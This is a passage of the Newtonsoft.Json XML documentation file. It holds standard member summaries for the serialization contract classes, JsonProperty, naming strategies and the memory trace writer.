name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the collection item reference loop handling.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the collection item type name handling.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonContainerContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonContainerContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SerializationCallback\">\n            <summary>\n            Handles <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> serialization callback events.\n            </summary>\n            <param name=\"o\">The object that raised the callback event.</param>\n            <param name=\"context\">The streaming context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SerializationErrorCallback\">\n            <summary>\n            Handles <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> serialization error callback events.\n            </summary>\n            <param name=\"o\">The object that raised the callback event.</param>\n            <param name=\"context\">The streaming context.</param>\n            <param name=\"errorContext\">The error context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ExtensionDataSetter\">\n            <summary>\n            Sets extension data for an object during deserialization.\n            </summary>\n            <param name=\"o\">The object to set extension data on.</param>\n            <param name=\"key\">The extension data key.</param>\n            <param name=\"value\">The extension data value.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ExtensionDataGetter\">\n            <summary>\n            Gets extension data for an object during serialization.\n            </summary>\n            <param name=\"o\">The object to set extension data on.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.UnderlyingType\">\n            <summary>\n            Gets the underlying type for the contract.\n            </summary>\n            <value>The underlying type for the contract.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.CreatedType\">\n            <summary>\n            Gets or sets the type created during deserialization.\n            </summary>\n            <value>The type created during deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.IsReference\">\n            <summary>\n            Gets or sets whether this type contract is serialized as a reference.\n            </summary>\n            <value>Whether this type contract is serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.Converter\">\n            <summary>\n            Gets or sets the default <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for this contract.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.InternalConverter\">\n            <summary>\n            Gets the internally resolved <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> for the contract's type.\n            This converter is used as a fallback converter when no other converter is resolved.\n            Setting <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.Converter\"/> will always override this converter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnDeserializedCallbacks\">\n            <summary>\n            Gets or sets all methods called immediately after deserialization of the object.\n            </summary>\n            <value>The methods called immediately after deserialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnDeserializingCallbacks\">\n            <summary>\n            Gets or sets all methods called during deserialization of the object.\n            </summary>\n            <value>The methods called during deserialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnSerializedCallbacks\">\n            <summary>\n            Gets or sets all methods called after serialization of the object graph.\n            </summary>\n            <value>The methods called after serialization of the object graph.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnSerializingCallbacks\">\n            <summary>\n            Gets or sets all methods called before serialization of the object.\n            </summary>\n            <value>The methods called before serialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnErrorCallbacks\">\n            <summary>\n            Gets or sets all method called when an error is thrown during the serialization of the object.\n            </summary>\n            <value>The methods called when an error is thrown during the serialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\">\n            <summary>\n            Gets or sets the default creator method used to create the object.\n            </summary>\n            <value>The default creator method used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreatorNonPublic\">\n            <summary>\n            Gets or sets a value indicating whether the default creator is non-public.\n            </summary>\n            <value><c>true</c> if the default object creator is non-public; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryKeyResolver\">\n            <summary>\n            Gets or sets the dictionary key resolver.\n            </summary>\n            <value>The dictionary key resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryKeyType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the dictionary keys.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the dictionary keys.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryValueType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the dictionary values.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the dictionary values.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.HasParameterizedCreator\">\n            <summary>\n            Gets a value indicating whether the creator has a parameter with the dictionary values.\n            </summary>\n            <value><c>true</c> if the creator has a parameter with the dictionary values; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonDictionaryContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonDynamicContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDynamicContract.Properties\">\n            <summary>\n            Gets the object's properties.\n            </summary>\n            <value>The object's properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDynamicContract.PropertyNameResolver\">\n            <summary>\n            Gets or sets the property name resolver.\n            </summary>\n            <value>The property name resolver.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonDynamicContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonDynamicContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonISerializableContract.ISerializableCreator\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> object constructor.\n            </summary>\n            <value>The <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> object constructor.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonISerializableContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonLinqContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.MemberSerialization\">\n            <summary>\n            Gets or sets the object member serialization.\n            </summary>\n            <value>The member object serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.MissingMemberHandling\">\n            <summary>\n            Gets or sets the missing member handling used when deserializing this object.\n            </summary>\n            <value>The missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ItemRequired\">\n            <summary>\n            Gets or sets a value that indicates whether the object's properties are required.\n            </summary>\n            <value>\n            \tA value indicating whether the object's properties are required.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ItemNullValueHandling\">\n            <summary>\n            Gets or sets how the object's properties with null values are handled during serialization and deserialization.\n            </summary>\n            <value>How the object's properties with null values are handled during serialization and deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.Properties\">\n            <summary>\n            Gets the object's properties.\n            </summary>\n            <value>The object's properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.CreatorParameters\">\n            <summary>\n            Gets a collection of <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> instances that define the parameters used with <see cref=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.OverrideCreator\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            This function is called with a collection of arguments which are defined by the <see cref=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.CreatorParameters\"/> collection.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataSetter\">\n            <summary>\n            Gets or sets the extension data setter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataGetter\">\n            <summary>\n            Gets or sets the extension data getter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataValueType\">\n            <summary>\n            Gets or sets the extension data value type.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataNameResolver\">\n            <summary>\n            Gets or sets the extension data name resolver.\n            </summary>\n            <value>The extension data name resolver.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonObjectContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPrimitiveContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonProperty\">\n            <summary>\n            Maps a JSON property to a .NET member or constructor parameter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.PropertyName\">\n            <summary>\n            Gets or sets the name of the property.\n            </summary>\n            <value>The name of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DeclaringType\">\n            <summary>\n            Gets or sets the type that declared this property.\n            </summary>\n            <value>The type that declared this property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Order\">\n            <summary>\n            Gets or sets the order of serialization of a member.\n            </summary>\n            <value>The numeric order of serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.UnderlyingName\">\n            <summary>\n            Gets or sets the name of the underlying member or parameter.\n            </summary>\n            <value>The name of the underlying member or parameter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ValueProvider\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> that will get and set the <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> during serialization.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> that will get and set the <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> during serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.AttributeProvider\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\"/> for this property.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\"/> for this property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.PropertyType\">\n            <summary>\n            Gets or sets the type of the property.\n            </summary>\n            <value>The type of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Converter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for the property.\n            If set this converter takes precedence over the contract converter for the property type.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.MemberConverter\">\n            <summary>\n            Gets or sets the member converter.\n            </summary>\n            <value>The member converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Ignored\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is ignored.\n            </summary>\n            <value><c>true</c> if ignored; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Readable\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is readable.\n            </summary>\n            <value><c>true</c> if readable; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Writable\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is writable.\n            </summary>\n            <value><c>true</c> if writable; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.HasMemberAttribute\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> has a member attribute.\n            </summary>\n            <value><c>true</c> if has a member attribute; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DefaultValue\">\n            <summary>\n            Gets the default value.\n            </summary>\n            <value>The default value.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Required\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is required.\n            </summary>\n            <value>A value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is required.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.IsRequiredSpecified\">\n            <summary>\n            Gets a value indicating whether <see cref=\"P:Newtonsoft.Json.Serialization.JsonProperty.Required\"/> has a value specified.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.IsReference\">\n            <summary>\n            Gets or sets a value indicating whether this property preserves object references.\n            </summary>\n            <value>\n            \t<c>true</c> if this instance is reference; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.NullValueHandling\">\n            <summary>\n            Gets or sets the property null value handling.\n            </summary>\n            <value>The null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DefaultValueHandling\">\n            <summary>\n            Gets or sets the property default value handling.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets the property reference loop handling.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ObjectCreationHandling\">\n            <summary>\n            Gets or sets the property object creation handling.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.TypeNameHandling\">\n            <summary>\n            Gets or sets or sets the type name handling.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ShouldSerialize\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be serialized.\n            </summary>\n            <value>A predicate used to determine whether the property should be serialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ShouldDeserialize\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be deserialized.\n            </summary>\n            <value>A predicate used to determine whether the property should be deserialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.GetIsSpecified\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be serialized.\n            </summary>\n            <value>A predicate used to determine whether the property should be serialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.SetIsSpecified\">\n            <summary>\n            Gets or sets an action used to set whether the property has been deserialized.\n            </summary>\n            <value>An action used to set whether the property has been deserialized.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonProperty.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemConverter\">\n            <summary>\n            Gets or sets the converter used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemIsReference\">\n            <summary>\n            Gets or sets whether this property's collection items are serialized as a reference.\n            </summary>\n            <value>Whether this property's collection items are serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items reference loop handling.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonPropertyCollection\">\n            <summary>\n            A collection of <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonPropertyCollection\"/> class.\n            </summary>\n            <param name=\"type\">The type.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetKeyForItem(Newtonsoft.Json.Serialization.JsonProperty)\">\n            <summary>\n            When implemented in a derived class, extracts the key from the specified element.\n            </summary>\n            <param name=\"item\">The element from which to extract the key.</param>\n            <returns>The key for the specified element.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.AddProperty(Newtonsoft.Json.Serialization.JsonProperty)\">\n            <summary>\n            Adds a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> object.\n            </summary>\n            <param name=\"property\">The property to add to the collection.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetClosestMatchProperty(System.String)\">\n            <summary>\n            Gets the closest matching <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> object.\n            First attempts to get an exact case match of <paramref name=\"propertyName\"/> and then\n            a case insensitive match.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>A matching property if found.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPropertyCollection.GetProperty(System.String,System.StringComparison)\">\n            <summary>\n            Gets a property by property name.\n            </summary>\n            <param name=\"propertyName\">The name of the property to get.</param>\n            <param name=\"comparisonType\">Type property name string comparison.</param>\n            <returns>A matching property if found.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonStringContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonStringContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonTypeReflector.CreateJsonConverterInstance(System.Type,System.Object[])\">\n            <summary>\n            Lookup and create an instance of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type described by the argument.\n            </summary>\n            <param name=\"converterType\">The <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type to create.</param>\n            <param name=\"args\">Optional arguments to pass to an initializing constructor of the JsonConverter.\n            If <c>null</c>, the default constructor is used.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\">\n            <summary>\n            A kebab case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.KebabCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.MemoryTraceWriter\">\n            <summary>\n            Represents a trace writer that writes to memory. When the trace message limit is\n            reached then old trace messages will be removed as new messages are added.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.MemoryTraceWriter.LevelFilter\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            For example a filter level of <see cref=\"F:Newtonsoft.Json.TraceLevel.Info\"/> will exclude <see cref=\"F:Newtonsoft.Json.TraceLevel.Verbose\"/> messages and include <see cref=\"F:Newtonsoft.Json.TraceLevel.Info\"/>,\n            <see cref=\"F:Newtonsoft.Json.TraceLevel.Warning\"/> and <see cref=\"F:Newtonsoft.Json.TraceLevel.Error\"/> messages.\n            </summary>\n            <value>\n            The <see cref=\"T:Newtonsoft.Json.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.MemoryTraceWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.Trace(Newtonsoft.Json.TraceLevel,System.String,System.Exception)\">\n            <summary>\n            Writes the specified trace level, message and optional exception.\n            </summary>\n            <param name=\"level\">The <see cref=\"T:Newtonsoft.Json.TraceLevel\"/> at which to write this trace.</param>\n            <param name=\"message\">The trace message.</param>\n            <param name=\"ex\">The trace exception. This parameter is optional.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.GetTraceMessages\">\n            <summary>\n            Returns an enumeration of the most recent trace messages.\n            </summary>\n            <returns>An enumeration of the most recent trace messages.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> of the most recent trace messages.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> of the most recent trace messages.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.NamingStrategy\">\n            <summary>\n            A base class for resolving how property names and dictionary keys are serialized.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.ProcessDictionaryKeys\">\n            <summary>\n            A flag indicating whether dictionary keys should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.ProcessExtensionDataNames\">\n            <summary>\n            A flag indicating whether extension data names should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.OverrideSpecifiedNames\">\n            <summary>\n            A flag indicating whether explicitly specified property names,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>, should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetPropertyName(System.String,System.Boolean)\">\n            <summary>\n            Gets the serialized name for a given property name.\n            </summary>\n            <param name=\"name\">The initial property name.</param>\n            <param name=\"hasSpecifiedName\">A flag indicating whether the property has had a name explicitly specified.</param>\n            <returns>The serialized property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetExtensionDataName(System.String)\">\n            <summary>\n            Gets the serialized name for a given extension data name.\n            </summary>\n            <param name=\"name\">The initial extension data name.</param>\n            <returns>The serialized extension data name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetDictionaryKey(System.String)\">\n            <summary>\n            Gets the serialized key for a given dictionary key.\n            </summary>\n            <param name=\"key\">The initial dictionary key.</param>\n            <returns>The serialized dictionary key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetHashCode\">\n            <summary>\n            Hash code calculation\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.Equals(System.Object)\">\n            <summary>\n            Object equality implementation\n            </summary>\n            <param name=\"obj\"></param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.Equals(Newtonsoft.Json.Serialization.NamingStrategy)\">\n            <summary>\n            Compare to another NamingStrategy\n            